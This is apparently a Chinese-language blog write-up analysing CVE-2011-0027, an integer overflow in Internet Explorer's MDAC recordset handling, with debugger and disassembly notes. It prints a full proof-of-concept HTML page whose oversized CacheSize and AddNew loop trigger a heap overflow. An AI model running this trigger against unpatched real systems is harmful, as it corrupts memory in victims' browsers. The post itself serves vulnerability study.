hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 书籍阅读
  3. 正文

CVE-2011-0027 IE MDAC整数溢出漏洞

2023年10月7日 1166点热度 0人点赞 0条评论

实验环境

推荐使用的环境 备注
操作系统 Windows 7
虚拟机 Vmware
调试器 Windbg
反汇编器 IDA Pro
漏洞软件 IE

漏洞分析

由于系统已经安装了SP1补丁,导致漏洞失效,所以此处只进行静态分析。

首先查看Poc代码。(这个书附赠的文件居然没有)

<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start()
{
alert("Start poc");
localxmlid1 = document.getElementById('xmlid1').recordset; // 获得xml元素localxmlid1的recordset
localxmlid1.CacheSize = 0x40000358; // 设置能被保存的记录条数
for(var i=0; i<0x100000; i++)
{
// 创建新记录
localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
// 记录指针移到第一个
localxmlid1.MoveFirst();
}
}
</script>
<body onLoad="window.setTimeout(Start, 100); " id="bodyid">
<? xml verion="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>

随后可以通过google搜索recordset site:http[:]//www[.]geoffchappell[.]com来获取recordset的函数。

三个函数如下:

fig:

随后对函数下断点,执行poc,确定调用的函数。

若其上没有搜索到,可以通过在DLL文件搜索符号表,搜索关键词Function window下Alt+T搜索cachesize,Ctrl+T下一个。

fig:

随后开启页堆运行poc,断在如下位置

fig:

!heap -p -a 查看堆信息。

fig:

堆块是在MoveFirst函数中的MpHeapAlloc中分配到,而MoveFirst函数就是处理poc.html的localxmlid1.MoveFirst的。所以在MoveFirst和MpHeapAlloc的前一个函数下端也就是AllocateHRowRange+0x85。

回溯发现传入的堆块大小为0xd64,来源于eax*4+eax,eax=edi,edi来源于cachesize。

fig:

而eax*4+4即=0x40000358*4+4=0xd64也就是整数溢出了。ida中查看的这一段

fig:

查看了一下机器上的msado15.dll,果然我打的sp1补丁修复了漏洞。

fig:

首先看edx的值是否为0,如果为0,则ZF=1,否则ZF=1,CF=1那么就跳转不分配,然后再将edi与0xFFFFFFFF对比,edi<=0xFFFFFFFF就跳转。

个人觉得恒成立,主要是前面判断起的作用,因为edi最大值也就是0xFFFFFFFF。

fig:

fig:

标签: 漏洞
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • 实验环境
  • 漏洞分析

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
CVE-2023-34312 QQ&TIM提权漏洞分析 CVE-2012-0774 Adobe Reader TrueType字体整数溢出漏洞 加密与解密 第8章 下 Fuzzing101 4~6 bugku cisco 加密与解密 第8章 上

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1